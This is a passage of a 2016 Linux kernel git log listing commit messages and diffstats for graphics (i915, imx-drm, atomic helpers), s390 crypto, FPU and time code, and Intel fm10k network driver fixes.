include/drm/drm_fb_helper.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 46e69f3982f6ed0f2575ee11649bc77b7a89fd3e Author: Jani Nikula Date: Tue Aug 23 10:10:05 2016 +0200 drm/i915/backlight: handle enabled but zero duty cycle at module load Don't consider enabled but zero duty cycle backlight disabled. Clamp level between min and max for sanity. Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1471939811-9817-1-git-send-email-maarten.lankhorst@linux.intel.com Signed-off-by: Maarten Lankhorst drivers/gpu/drm/i915/intel_panel.c | 40 +++++++++++++++++++++++--------------- 1 file changed, 24 insertions(+), 16 deletions(-) commit ce5e2ac1a47ee4a13a05e2400c520f7de9b4becd Author: Maarten Lankhorst Date: Thu Aug 25 11:07:01 2016 +0200 drm/i915: Fix intel_display_crc_init for !DEBUGFS The mentioned commit changes intel_display_crc_init to take a dev_priv, but forgets to change the stub. Cc: David Weinehall Fixes: 36cdd0138b7f ("drm/i915: debugfs spring cleaning") Signed-off-by: Maarten Lankhorst Reported-and-by: Kim Lidström Link: http://patchwork.freedesktop.org/patch/msgid/1472116022-17598-1-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Chris Wilson Reviewed-by: David Weinehall drivers/gpu/drm/i915/i915_drv.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e896402c37c1352095758f58c1e7d53d3269baa6 Author: Maarten Lankhorst Date: Thu Aug 25 11:07:02 2016 +0200 drm/i915: Add missing parameter to intel_dp_set_drrs_state documentation. Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1472116022-17598-2-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Chris Wilson drivers/gpu/drm/i915/intel_dp.c | 1 + 1 file changed, 1 insertion(+) commit a40e65b76430a6ce0bb22ed8327c56dd5044a4a3 Author: Lucas Stach Date: Thu Aug 11 11:18:51 2016 +0200 drm/imx: add exclusive fence to plane state This allows the atomic helper to wait on them, instead of open-coding the same in the imx-drm driver. Signed-off-by: Lucas Stach Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-drm-core.c | 63 +++++++++++++++++--------------------- 1 file changed, 28 insertions(+), 35 deletions(-) commit df4b2233ab387fc508f4206cdf5546570136ebd0 Author: Lucas Stach Date: Thu Aug 11 11:18:50 2016 +0200 drm/imx: fold ipu_plane_disable into ipu_disable_plane ipu_disable_plane is the only left caller of ipu_plane_disable. Having those 2 similar named functions is confusing and superfluous, so fold them into 1. Signed-off-by: Lucas Stach Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/ipuv3-plane.c | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) commit 8e3b16e2117409625b89807de3912ff773aea354 Author: Lucas Stach Date: Thu Aug 11 11:18:49 2016 +0200 drm/imx: don't destroy mode objects manually on driver unbind Instead let drm_mode_config_cleanup() do the work when taking down the master device. This requires all cleanup functions to be properly hooked up to the mode object .destroy callback. Signed-off-by: Lucas Stach Signed-off-by: Philipp Zabel drivers/gpu/drm/bridge/dw-hdmi.c | 3 --- drivers/gpu/drm/imx/imx-drm-core.c | 4 ++-- drivers/gpu/drm/imx/imx-ldb.c | 6 ------ drivers/gpu/drm/imx/imx-tve.c | 3 --- drivers/gpu/drm/imx/ipuv3-crtc.c | 9 ++++++--- drivers/gpu/drm/imx/parallel-display.c | 3 --- 6 files changed, 8 insertions(+), 20 deletions(-) commit 54db5decce17b3258475a011a00b9c5c51c57a35 Author: Lucas Stach Date: Thu Aug 11 11:18:48 2016 +0200 drm/imx: drop deprecated load/unload drm_driver ops Drop the load/unload driver ops, as they are deprecated because of their inherent races, with devices being visible to userspace before they are fully initialized. Move this code into the driver bind/unbind routines bracketed by the proper drm_dev_alloc/register and drm_dev_unregister/unref calls. Signed-off-by: Lucas Stach Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-drm-core.c | 240 +++++++++++++++++-------------------- 1 file changed, 112 insertions(+), 128 deletions(-) commit 73cde76a61b622e768af23b0e0062dc39e6891bf Author: Lucas Stach Date: Thu Aug 11 11:18:47 2016 +0200 drm/imx: don't call disable_plane in plane destroy path When the destroy path is called the plane should already be disabled. If not, this is a core bug and should not be worked around in the driver. Signed-off-by: Lucas Stach Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/ipuv3-plane.c | 1 - 1 file changed, 1 deletion(-) commit 1780999ced6df8ce833232852dc6854a388fc248 Author: Liu Ying Date: Fri Aug 26 15:30:44 2016 +0800 drm/imx: Add active plane reconfiguration support We don't support configuring active plane on-the-fly for imx-drm. The relevant CRTC should be disabled before the plane configuration. Of course, the plane itself should be disabled as well. This patch adds active plane reconfiguration support by forcing CRTC mode change in plane's ->atomic_check callback so that the CRTC will be disabled before the plane configuration. Suggested-by: Daniel Vetter Cc: Philipp Zabel Cc: David Airlie Cc: Russell King Cc: Peter Senna Tschudin Cc: Lucas Stach Signed-off-by: Liu Ying Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-drm-core.c | 26 +++++++++++++++++++++++++- drivers/gpu/drm/imx/ipuv3-plane.c | 13 ++++++++----- 2 files changed, 33 insertions(+), 6 deletions(-) commit 5f4df0c769a9c3cc731464112ddeb0e61c9386d8 Author: Liu Ying Date: Fri Aug 26 15:30:43 2016 +0800 drm/imx: Use DRM_PLANE_COMMIT_NO_DISABLE_AFTER_MODESET flag The IPUv3 display controller behind imx-drm needs all planes of a CRTC be disabled when the CRTC is disabled. The DRM_PLANE_COMMIT_NO_DISABLE_AFTER_MODESET flag reflects this hardware requirement. Let's use the flag for imx-drm. Suggested-by: Daniel Vetter Cc: Philipp Zabel Cc: David Airlie Cc: Russell King Cc: Peter Senna Tschudin Cc: Lucas Stach Signed-off-by: Liu Ying Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-drm-core.c | 3 ++- drivers/gpu/drm/imx/ipuv3-crtc.c | 3 +++ drivers/gpu/drm/imx/ipuv3-plane.c | 8 ++++++-- 3 files changed, 11 insertions(+), 3 deletions(-) commit 8cc17b59b08936bd5bbc43f54a12f441e0a2911a Author: Liu Ying Date: Fri Aug 26 15:30:42 2016 +0800 drm/imx: ipuv3-crtc: Use the callback ->atomic_disable instead of ->disable Now that the drm atomic core supports the callback ->atomic_disable, we may replace the legacy one ->disable with it. Cc: Philipp Zabel Cc: David Airlie Cc: Russell King Cc: Daniel Vetter Cc: Peter Senna Tschudin Cc: Lucas Stach Signed-off-by: Liu Ying Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/ipuv3-crtc.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 448ae8ea39c742c20ce00d715fcb7b6fbc56481f Author: Liu Ying Date: Fri Aug 26 15:30:41 2016 +0800 gpu: ipu-v3: Do not wait for DMFC FIFO to clear when disabling DMFC channel According to basic tests, it looks there is no issue if we don't wait for DMFC FIFO to clear when disabling DMFC channel. NXP BSP doesn't do that, either. This patch is needed to avoid the annoying warning caused by a timeout on waiting for the FIFO to clear after we add the new DRM_PLANE_COMMIT_NO_DISABLE_AFTER_MODESET flag to the imx-drm driver which changes the procedure to disable display channel slightly. Cc: Philipp Zabel Cc: David Airlie Cc: Russell King Cc: Peter Senna Tschudin Cc: Lucas Stach Cc: Daniel Vetter Signed-off-by: Liu Ying Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-dmfc.c | 18 +----------------- 1 file changed, 1 insertion(+), 17 deletions(-) commit 2b58e98d42af854037439f51bd89f83dbfa8e30d Author: Liu Ying Date: Mon Aug 29 17:12:03 2016 +0800 drm/atomic-helper: Add NO_DISABLE_AFTER_MODESET flag support for plane commit Drivers may set the NO_DISABLE_AFTER_MODESET flag in the 'flags' parameter of the helper drm_atomic_helper_commit_planes() if the relevant display controllers(e.g., IPUv3 for imx-drm) require to disable a CRTC's planes when the CRTC is disabled. The helper would skip the ->atomic_disable call for a plane if the CRTC of the old plane state needs a modesetting operation. Of course, the drivers need to disable the planes in their CRTC disable callbacks since no one else would do that. Suggested-by: Daniel Vetter Cc: Philipp Zabel Cc: David Airlie Cc: Russell King Cc: Peter Senna Tschudin Cc: Lucas Stach Signed-off-by: Liu Ying Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1472461923-14364-1-git-send-email-gnuiyl@gmail.com drivers/gpu/drm/arm/malidp_drv.c | 3 +- drivers/gpu/drm/atmel-hlcdc/atmel_hlcdc_dc.c | 2 +- drivers/gpu/drm/drm_atomic_helper.c | 43 ++++++++++++++++++++-------- drivers/gpu/drm/exynos/exynos_drm_drv.c | 2 +- drivers/gpu/drm/imx/imx-drm-core.c | 3 +- drivers/gpu/drm/mediatek/mtk_drm_drv.c | 6 ++-- drivers/gpu/drm/msm/msm_atomic.c | 2 +- drivers/gpu/drm/omapdrm/omap_drv.c | 2 +- drivers/gpu/drm/rcar-du/rcar_du_kms.c | 3 +- drivers/gpu/drm/rockchip/rockchip_drm_fb.c | 3 +- drivers/gpu/drm/sti/sti_drv.c | 2 +- drivers/gpu/drm/tegra/drm.c | 3 +- drivers/gpu/drm/tilcdc/tilcdc_drv.c | 2 +- drivers/gpu/drm/vc4/vc4_kms.c | 2 +- drivers/gpu/drm/virtio/virtgpu_display.c | 3 +- include/drm/drm_atomic_helper.h | 6 +++- 16 files changed, 59 insertions(+), 28 deletions(-) commit a305cc2fce217510dd255356d783e2c01cbc3a8f Author: Arnd Bergmann Date: Fri Aug 26 17:38:54 2016 +0200 ARM: dts: mvebu: fix reference to a390 spi controller The SPI controller in the arch/arm/boot/dts/armada-39x.dtsi file has moved to a different location in the hierarchy, which breaks the overrides in the board specific file: Warning (reg_format): "reg" property in /soc/internal-regs/spi@10680/spi-flash@1 has invalid length (4 bytes) (#address-cells == 2, #size-cells == 1) Warning (avoid_default_addr_size): Relying on default #address-cells value for /soc/internal-regs/spi@10680/spi-flash@1 This changes the board to reference the spi controller by its label (which has not changed) rather than the full path. Signed-off-by: Arnd Bergmann Fixes: 0160a4b68987 ("ARM: dts: mvebu: A37x/XP/38x/39x: Move SPI controller nodes into 'soc' node") Signed-off-by: Gregory CLEMENT arch/arm/boot/dts/armada-390-db.dts | 60 ++++++++++++++++++------------------- 1 file changed, 30 insertions(+), 30 deletions(-) commit 7bac4f5b8e3a607f7ba1d3a652f5922a657fa9e8 Author: Martin Schwidefsky Date: Mon Aug 15 15:17:52 2016 +0200 s390/crypto: simplify CPACF encryption / decryption functions The double while loops of the CTR mode encryption / decryption functions are overly complex for little gain. Simplify the functions to a single while loop at the cost of an additional memcpy of a few bytes for every 4K page worth of data. Adapt the other crypto functions to make them all look alike. Reviewed-by: Harald Freudenberger Signed-off-by: Martin Schwidefsky arch/s390/crypto/aes_s390.c | 196 ++++++++++++++++++-------------------------- arch/s390/crypto/des_s390.c | 154 +++++++++++++--------------------- 2 files changed, 136 insertions(+), 214 deletions(-) commit 69c0e360f990c2dc737681f40a361195066cef02 Author: Martin Schwidefsky Date: Thu Aug 18 12:59:46 2016 +0200 s390/crypto: cpacf function detection The CPACF code makes some assumptions about the availablity of hardware support. E.g. if the machine supports KM(AES-256) without chaining it is assumed that KMC(AES-256) with chaining is available as well. For the existing CPUs this is true but the architecturally correct way is to check each CPACF functions on its own. This is what the query function of each instructions is all about. Reviewed-by: Harald Freudenberger Signed-off-by: Martin Schwidefsky arch/s390/crypto/aes_s390.c | 299 ++++++++++++++++------------------------- arch/s390/crypto/des_s390.c | 77 ++++++----- arch/s390/crypto/ghash_s390.c | 2 +- arch/s390/crypto/prng.c | 4 +- arch/s390/crypto/sha1_s390.c | 2 +- arch/s390/crypto/sha256_s390.c | 2 +- arch/s390/crypto/sha512_s390.c | 2 +- arch/s390/include/asm/cpacf.h | 55 +++++--- arch/s390/kvm/kvm-s390.c | 33 +++-- 9 files changed, 223 insertions(+), 253 deletions(-) commit d863d5945f2be0abfcd9d36b1a7c605f3eaef517 Author: Martin Schwidefsky Date: Thu Aug 18 12:34:34 2016 +0200 s390/crypto: simplify init / exit functions The aes and the des module register multiple crypto algorithms dependent on the availability of specific CPACF instructions. To simplify the deregistration with crypto_unregister_alg add an array with pointers to the successfully registered algorithms and use it for the error handling in the init function and in the module exit function. Reviewed-by: Harald Freudenberger Signed-off-by: Martin Schwidefsky arch/s390/crypto/aes_s390.c | 79 ++++++++++++++++-------------------- arch/s390/crypto/des_s390.c | 98 ++++++++++++++++++++------------------------- 2 files changed, 79 insertions(+), 98 deletions(-) commit 0177db01adf26cf9c5dfe1feaf17087de4b9e40e Author: Martin Schwidefsky Date: Mon Aug 15 10:41:52 2016 +0200 s390/crypto: simplify return code handling The CPACF instructions can complete with three different condition codes: CC=0 for successful completion, CC=1 if the protected key verification failed, and CC=3 for partial completion. The inline functions will restart the CPACF instruction for partial completion, this removes the CC=3 case. The CC=1 case is only relevant for the protected key functions of the KM, KMC, KMAC and KMCTR instructions. As the protected key functions are not used by the current code, there is no need for any kind of return code handling. Reviewed-by: Harald Freudenberger Signed-off-by: Martin Schwidefsky arch/s390/crypto/aes_s390.c | 28 +++---------- arch/s390/crypto/des_s390.c | 20 ++------- arch/s390/crypto/ghash_s390.c | 18 ++------ arch/s390/crypto/prng.c | 95 +++++++++++-------------------------------- arch/s390/crypto/sha_common.c | 23 ++++------- arch/s390/include/asm/cpacf.h | 33 ++++----------- 6 files changed, 52 insertions(+), 165 deletions(-) commit edc63a3785b48455e05793e848f0174e21f38d09 Author: Martin Schwidefsky Date: Mon Aug 15 09:19:16 2016 +0200 s390/crypto: cleanup cpacf function codes Use a separate define for the decryption modifier bit instead of duplicating the function codes for encryption / decrypton. In addition use an unsigned type for the function code. Reviewed-by: Harald Freudenberger Signed-off-by: Martin Schwidefsky arch/s390/crypto/aes_s390.c | 98 +++++++++++++++++++------------------------ arch/s390/crypto/des_s390.c | 47 ++++++++++++--------- arch/s390/include/asm/cpacf.h | 98 ++++++++++++++++++------------------------- 3 files changed, 110 insertions(+), 133 deletions(-) commit 474fd6e80fe529e9adeeb7ea9d4e5d6c4da0b7fe Author: Martin Schwidefsky Date: Tue Aug 23 13:30:24 2016 +0200 RAID/s390: add SIMD implementation for raid6 gen/xor Using vector registers is slightly faster: raid6: vx128x8 gen() 19705 MB/s raid6: vx128x8 xor() 11886 MB/s raid6: using algorithm vx128x8 gen() 19705 MB/s raid6: .... xor() 11886 MB/s, rmw enabled vs the software algorithms: raid6: int64x1 gen() 3018 MB/s raid6: int64x1 xor() 1429 MB/s raid6: int64x2 gen() 4661 MB/s raid6: int64x2 xor() 3143 MB/s raid6: int64x4 gen() 5392 MB/s raid6: int64x4 xor() 3509 MB/s raid6: int64x8 gen() 4441 MB/s raid6: int64x8 xor() 3207 MB/s raid6: using algorithm int64x4 gen() 5392 MB/s raid6: .... xor() 3509 MB/s, rmw enabled Signed-off-by: Martin Schwidefsky arch/s390/include/asm/vx-insn.h | 86 ++++++++++++++++++++ include/linux/raid/pq.h | 1 + lib/raid6/.gitignore | 1 + lib/raid6/Makefile | 6 ++ lib/raid6/algos.c | 3 + lib/raid6/s390vx.uc | 168 ++++++++++++++++++++++++++++++++++++++++ 6 files changed, 265 insertions(+) commit 8f149ea6e91534c3e0b4cfcd843323bd94273087 Author: Martin Schwidefsky Date: Mon Aug 22 14:40:06 2016 +0200 s390/nmi: improve revalidation of fpu / vector registers The machine check handler will do one of two things if the floating-point control, a floating point register or a vector register can not be revalidated: 1) if the PSW indicates user mode the process is terminated 2) if the PSW indicates kernel mode the system is stopped To unconditionally stop the system for 2) is incorrect. There are three possible outcomes if the floating-point control, a floating point register or a vector registers can not be revalidated: 1) The kernel is inside a kernel_fpu_begin/kernel_fpu_end block and needs the register. The system is stopped. 2) No active kernel_fpu_begin/kernel_fpu_end block and the CIF_CPU bit is not set. The user space process needs the register and is killed. 3) No active kernel_fpu_begin/kernel_fpu_end block and the CIF_FPU bit is set. Neither the kernel nor the user space process needs the lost register. Just revalidate it and continue. Signed-off-by: Martin Schwidefsky arch/s390/kernel/nmi.c | 67 +++++++++++++++++++++++++++++--------------------- 1 file changed, 39 insertions(+), 28 deletions(-) commit 7f79695cc1b6aa6d80a861780d9f8ce75d3dddcb Author: Martin Schwidefsky Date: Mon Aug 22 12:06:21 2016 +0200 s390/fpu: improve kernel_fpu_[begin|end] In case of nested user of the FPU or vector registers in the kernel the current code uses the mask of the FPU/vector registers of the previous contexts to decide which registers to save and restore. E.g. if the previous context used KERNEL_VXR_V0V7 and the next context wants to use KERNEL_VXR_V24V31 the first 8 vector registers are stored to the FPU state structure. But this is not necessary as the next context does not use these registers. Rework the FPU/vector register save and restore code. The new code does a few things differently: 1) A lowcore field is used instead of a per-cpu variable. 2) The kernel_fpu_end function now has two parameters just like kernel_fpu_begin. The register flags are required by both functions to save / restore the minimal register set. 3) The inline functions kernel_fpu_begin/kernel_fpu_end now do the update of the register masks. If the user space FPU registers have already been stored neither save_fpu_regs nor the __kernel_fpu_begin/__kernel_fpu_end functions have to be called for the first context. In this case kernel_fpu_begin adds 7 instructions and kernel_fpu_end adds 4 instructions. 3) The inline assemblies in __kernel_fpu_begin / __kernel_fpu_end to save / restore the vector registers are simplified a bit. Signed-off-by: Martin Schwidefsky arch/s390/crypto/crc32-vx.c | 2 +- arch/s390/include/asm/fpu/api.h | 32 ++-- arch/s390/include/asm/lowcore.h | 3 +- arch/s390/kernel/fpu.c | 317 ++++++++++++++++------------------------ arch/s390/kernel/sysinfo.c | 2 +- 5 files changed, 147 insertions(+), 209 deletions(-) commit 0eab11c7e0d30de14a15ccd8269eef238321a8e1 Author: Martin Schwidefsky Date: Thu Aug 25 10:40:19 2016 +0200 s390/vx: allow to include vx-insn.h with .include To make the vx-insn.h more versatile avoid cpp preprocessor macros and allow to use plain numbers for vector and general purpose register operands. With that you can emit an .include from a C file into the assembler text and then use the vx-insn macros in inline assemblies. For example: asm (".include \"asm/vx-insn.h\""); static inline void xor_vec(int x, int y, int z) { asm volatile("VX %0,%1,%2" : : "i" (x), "i" (y), "i" (z)); } Signed-off-by: Martin Schwidefsky arch/s390/include/asm/vx-insn.h | 62 +++++++++++++++++++---------------------- 1 file changed, 28 insertions(+), 34 deletions(-) commit 67f03de5f0ad6b4b0481bb43e4a819d1a441900b Author: David Hildenbrand Date: Mon Jul 18 17:10:17 2016 +0200 s390/time: avoid races when updating tb_update_count The increment might not be atomic and we're not holding the timekeeper_lock. Therefore we might lose an update to count, resulting in VDSO being trapped in a loop. As other archs also simply update the values and count doesn't seem to have an impact on reloading of these values in VDSO code, let's just remove the update of tb_update_count. Suggested-by: Martin Schwidefsky Signed-off-by: David Hildenbrand Signed-off-by: Martin Schwidefsky arch/s390/kernel/time.c | 5 ----- 1 file changed, 5 deletions(-) commit 0c00b1e00bba9c9046bee4e487ed19360da9ded0 Author: David Hildenbrand Date: Thu Jul 14 14:46:56 2016 +0200 s390/time: fixup the clock comparator on all cpus By leaving fixup_cc unset, only the clock comparator of the cpu actually doing the sync is fixed up until now. Signed-off-by: David Hildenbrand Signed-off-by: Martin Schwidefsky arch/s390/kernel/time.c | 1 + 1 file changed, 1 insertion(+) commit ca64f63901a054af755994648bf6835047c71cbb Author: David Hildenbrand Date: Thu Jul 14 13:38:06 2016 +0200 s390/time: cleanup etr leftovers There are still some etr leftovers and wrong comments, let's clean that up. Signed-off-by: David Hildenbrand Signed-off-by: Martin Schwidefsky arch/s390/kernel/time.c | 30 +++++++++--------------------- 1 file changed, 9 insertions(+), 21 deletions(-) commit 41ad022039522485456802f09d8eccebc24aac3e Author: David Hildenbrand Date: Thu Jul 14 13:09:57 2016 +0200 s390/time: simplify stp time syncs The way we call do_adjtimex() today is broken. It has 0 effect, as ADJ_OFFSET_SINGLESHOT (0x0001) in the kernel maps to !ADJ_ADJTIME (in contrast to user space where it maps to ADJ_OFFSET_SINGLESHOT | ADJ_ADJTIME - 0x8001). !ADJ_ADJTIME will silently ignore all adjustments without STA_PLL being active. We could switch to ADJ_ADJTIME or turn STA_PLL on, but still we would run into some problems: - Even when switching to nanoseconds, we lose accuracy. - Successive calls to do_adjtimex() will simply overwrite any leftovers from the previous call (if not fully handled) - Anything that NTP does using the sysctl heavily interferes with our use. - !ADJ_ADJTIME will silently round stuff > or < than 0.5 seconds Reusing do_adjtimex() here just feels wrong. The whole STP synchronization works right now *somehow* only, as do_adjtimex() does nothing and our TOD clock jumps in time, although it shouldn't. This is especially bad as the clock could jump backwards in time. We will have to find another way to fix this up. As leap seconds are also not properly handled yet, let's just get rid of all this complex logic altogether and use the correct clock_delta for fixing up the clock comparator and keeping the sched_clock monotonic. This change should have 0 effect on the current STP mechanism. Once we know how to best handle sync events and leap second updates, we'll start with a fresh implementation. Signed-off-by: David Hildenbrand Signed-off-by: Martin Schwidefsky arch/s390/kernel/time.c | 50 ++++--------------------------------------------- 1 file changed, 4 insertions(+), 46 deletions(-) commit 325782a173d1858bb67a827905e264cd128241d0 Author: Jacob Keller Date: Mon Aug 8 17:08:19 2016 -0700 fm10k: don't re-map queues when a mailbox message suffices When the PF assigns a new MAC address to a VF it uses the base address registers to store the MAC address. This allows a VF which loads after this setup the ability to get the initial address without having to wait for a mailbox message. Unfortunately to do this, the PF must take queue ownership away from the VF, which can cause fault errors when there is already an active VF driver. This queue ownership assignment causes race condition between the PF and the VF such that potentially a VF can cause FUM fault errors due to normal PF/VF driver behavior. It is not safe to simply allow the PF to write the base address registers without taking queue ownership back as the PF must also disable the queues, and this would impact active VF use. The current code is safe because the queue ownership will prevent the VF from actually writing but does trigger the FUM fault. We can do better by simply avoiding the register write process when a mailbox message suffices. If the message can be sent over the mailbox, then we will not perform the queue ownership assignment and we won't update the base address to be the same as the MAC address. We do still have to write the TXQCTL registers in order to update the VID of the queue. This is necessary because the TXQCTL register is read-only from the VF, and thus the VF cannot do this for itself. This register does not need to wait for the Tx queue to be disabled and is safe for the PF to write during normal VF operation, so we move this write to the top of the function above the mailbox message. Without this, the TXQCTL register would be misconfigured and cause the VF to Tx hang. Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_pf.c | 46 ++++++++++++++++++----------- 1 file changed, 29 insertions(+), 17 deletions(-) commit c689eff124cb231d91777a447fa05b30939da7b1 Author: Jacob Keller Date: Wed Aug 3 15:05:27 2016 -0700 fm10k: don't clear the RXQCTL register when enabling or disabling queues Ensure that other bits in the RXQCTL register do not get cleared. This ensures that bits related to queue ownership are maintained. Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_pci.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 9717c7721302d217fb73f59eb3ab6314ffff54aa Author: Jacob Keller Date: Fri Jul 22 16:00:37 2016 -0700 fm10k: remove unnecessary extra parenthesis around ((~value)) Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_pci.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1ad782928f16e7f1b5269ce4358caffe566f44db Author: Jacob Keller Date: Thu Jun 23 13:54:03 2016 -0700 fm10k: add support for Rx offloads on one Geneve tunnel Similar to how we handle VXLAN offload, enable support for a single Geneve tunnel. Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k.h | 1 + drivers/net/ethernet/intel/fm10k/fm10k_netdev.c | 30 ++++++++++++++++++++++--- drivers/net/ethernet/intel/fm10k/fm10k_pci.c | 3 ++- drivers/net/ethernet/intel/fm10k/fm10k_type.h | 1 + 4 files changed, 31 insertions(+), 4 deletions(-) commit f92e0e489225cae41290f8b42bf04128b2451789 Author: Jacob Keller Date: Fri Aug 26 00:14:34 2016 -0700 fm10k: rework vxlan_port offload before adding geneve support In preparation for adding Geneve Rx offload support, refactor the current VXLAN offload flow to be a bit more generic so that it will be easier to add the new Geneve code. The fm10k hardware supports one VXLAN and one Geneve tunnel, so we will eventually treat the VXLAN and Geneve tunnels identically. To this end, factor out the code that handles the current list so that we can use the generic flow for both tunnels in the next patch. Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k.h | 6 +- drivers/net/ethernet/intel/fm10k/fm10k_main.c | 4 +- drivers/net/ethernet/intel/fm10k/fm10k_netdev.c | 161 +++++++++++++----------- 3 files changed, 93 insertions(+), 78 deletions(-) commit 5f45c83024c49f71e50cf8156b165f11d2ab35a9 Author: Jacob Keller Date: Thu Jun 23 13:54:01 2016 -0700 fm10k: don't try to stop queues if we've lost hw_addr In the event of a surprise remove, we expect the driver to go down, which includes calling .stop_hw(). However, this function will return an error because the queues won't appear to cleanly disable. Prevent this and avoid the unnecessary checks by just returning when FM10K_REMOVED(hw->hw_addr) is true. Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_common.c | 3 +++ 1 file changed, 3 insertions(+) commit 18095937cb1c66b8ff944de02cf04d1497008352 Author: Jacob Keller Date: Thu Jun 23 13:31:01 2016 -0700 fm10k: don't continue probe if PCI device not in normal IO state In the event of an uncorrectable AER error occurring when the driver has not loaded, the recovery routines are not done. This is done because future loads of the driver may not be aware of the IO state and may not be able to recover at all. In this case, when we next load the driver it fails due to what appears to be a surprise remove event. Instead, add a check to ensure that the device is in the normal IO state before continuing to probe. This allows us to give a more descriptive message of what is wrong. Without this change, the driver will attempt to probe up to our first call of .reset_hw() which will be unable to read registers and act as if a surprise remove event occurred. Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_pci.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 76ef0fc5a7519690a6a87a248f5709463f584292 Author: Jacob Keller Date: Thu Jun 23 13:31:00 2016 -0700 fm10k: print error code when pci_enable_device_mem fails during probe Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_pci.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit e5fbfb78641ff0c5139ae665289ed9f91524265e Author: Jacob Keller Date: Mon Jun 20 10:39:32 2016 -0700 fm10k: NAPI polling routine must return actual work done When fm10k_poll fully cleans rings it returns 0. This is incorrect as it messes up the budget accounting in the core NAPI code. Fix this by returning actual work done, capped at budget - 1 since the core doesn't expect a return of the full budget when the driver modifies the NAPI status. Cc: Paolo Abeni Cc: Venkatesh Srinivas Signed-off-by: Jacob Keller Acked-by: Paolo Abeni Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ce4dad2ce231aa5258ddfc98f8a80d958643c014 Author: Jacob Keller Date: Fri Jun 17 16:21:11 2016 -0700 fm10k: prefer READ_ONCE instead of ACCESS_ONCE While technically not needed, as all our uses of ACCESS_ONCE are scalar types, we already use READ_ONCE in a few places, and for code readability we can swap all the uses of the older ACCESS_ONCE into READ_ONCE. Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_common.h | 4 ++-- drivers/net/ethernet/intel/fm10k/fm10k_iov.c | 4 ++-- drivers/net/ethernet/intel/fm10k/fm10k_main.c | 2 +- drivers/net/ethernet/intel/fm10k/fm10k_netdev.c | 6 +++--- drivers/net/ethernet/intel/fm10k/fm10k_pci.c | 2 +- 5 files changed, 9 insertions(+), 9 deletions(-) commit 88cdcfec9a46af47291207d86493e919093df3d1 Author: Jacob Keller Date: Fri Jun 17 14:36:45 2016 -0700 fm10k: remove fm10k_get_reta_size from namespace The function is only used in fm10k_ethtool.c, so make it static. Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k.h | 1 - drivers/net/ethernet/intel/fm10k/fm10k_ethtool.c | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) commit 4aa0bd54d4234d7bdc7cce331e7097c9393aca6e Author: Jacob Keller Date: Thu Jun 9 15:42:36 2016 -0700 fm10k: use variadic form of alloc_workqueue Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5b9e4432db038eefcafe2be468e3adaf2edbbe91 Author: Jacob Keller Date: Thu Jun 9 14:56:05 2016 -0700 fm10k: use software values when checking for Tx hangs in hot path A previous patch added support to check for hardware Tx pending in the fm10k_down routine. This support was intended to ensure that we accurately check what the hardware state is. However, checking for Tx hangs in this manor during the hotpath results in a large performance hit. Avoid this by making the hotpath check use the SW counters instead. Fixes: a0f53cf49cb0 ("fm10k: use actual hardware registers when checking for pending Tx", 2016-06-08) Signed-off-by: Jacob Keller Tested-by: Krishneil Singh Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/fm10k/fm10k.h | 2 +- drivers/net/ethernet/intel/fm10k/fm10k_main.c | 19 +++++++++++++++---- drivers/net/ethernet/intel/fm10k/fm10k_pci.c | 2 +- 3 files changed, 17 insertions(+), 6 deletions(-) commit e59a393d089d08a4622de07f941dd3629fcaec6a Author: Jacob Keller Date: Thu Jun 9 12:02:03 2016 -0700 fm10k: fix PCI device enable_cnt leak in .io_slot_reset A previous patch removed the pci_disable_device() call in .io_error_detected. This call corresponded to a pci_enable_device_mem() call within .io_slot_reset 